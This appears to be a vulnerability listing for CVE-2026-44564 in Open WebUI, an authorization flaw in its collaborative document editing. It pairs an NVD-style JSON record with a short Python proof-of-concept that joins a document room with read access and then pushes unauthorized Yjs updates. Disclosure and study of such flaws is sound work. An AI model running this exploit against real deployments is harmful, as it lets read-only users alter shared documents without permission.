CVE-2026-44564

import socketio # Create a Socket.IO client sio = socketio.Client() @sio.event def connect(): print('Connection established') # Target URL of the vulnerable Open WebUI instance target_url = 'http://vulnerable-target:port' try: # Connect to the server sio.connect(target_url) # Step 1: Join the document room using read-only permissions # The 'ydoc:document:join' handler checks for read permission document_id = 'example_doc_id' print(f"Joining room for document: {document_id}") sio.emit('ydoc:document:join', {'doc_id': document_id}) # Step 2: Send update events without write permission # The 'ydoc:document:update' handler checks room membership but NOT write permission print("Sending malicious update...") malicious_payload = { 'doc_id': document_id, 'update': b'\x00\x01\x02...' # Binary Yjs update data } sio.emit('ydoc:document:update', malicious_payload) print("Exploit completed. Check document state.") except Exception as e: print(f"An error occurred: {e}") finally: sio.disconnect()

{"cve": {"id": "CVE-2026-44564", "sourceIdentifier": "[email protected]", "published": "2026-05-15T20:16:48.130", "lastModified": "2026-05-15T20:16:48.130", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Open WebUI is a self-hosted artificial intelligence platform designed to operate entirely offline. Prior to 0.9.0, the ydoc:document:update Socket.IO event handler checks whether the sender is a member of the document's Socket.IO room (line 678) but does not verify that the sender has write permission. Users with read-only access join the document room via ydoc:document:join, which only requires read permission (line 520). Once in the room, the user can emit ydoc:document:update events that modify the in-memory Yjs document state and are broadcast to all other collaborators in real time. This vulnerability is fixed in 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 2.5}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://github.com/open-webui/open-webui/security/advisories/GHSA-vrfh-rj4q-rmhr", "source": "[email protected]"}]}}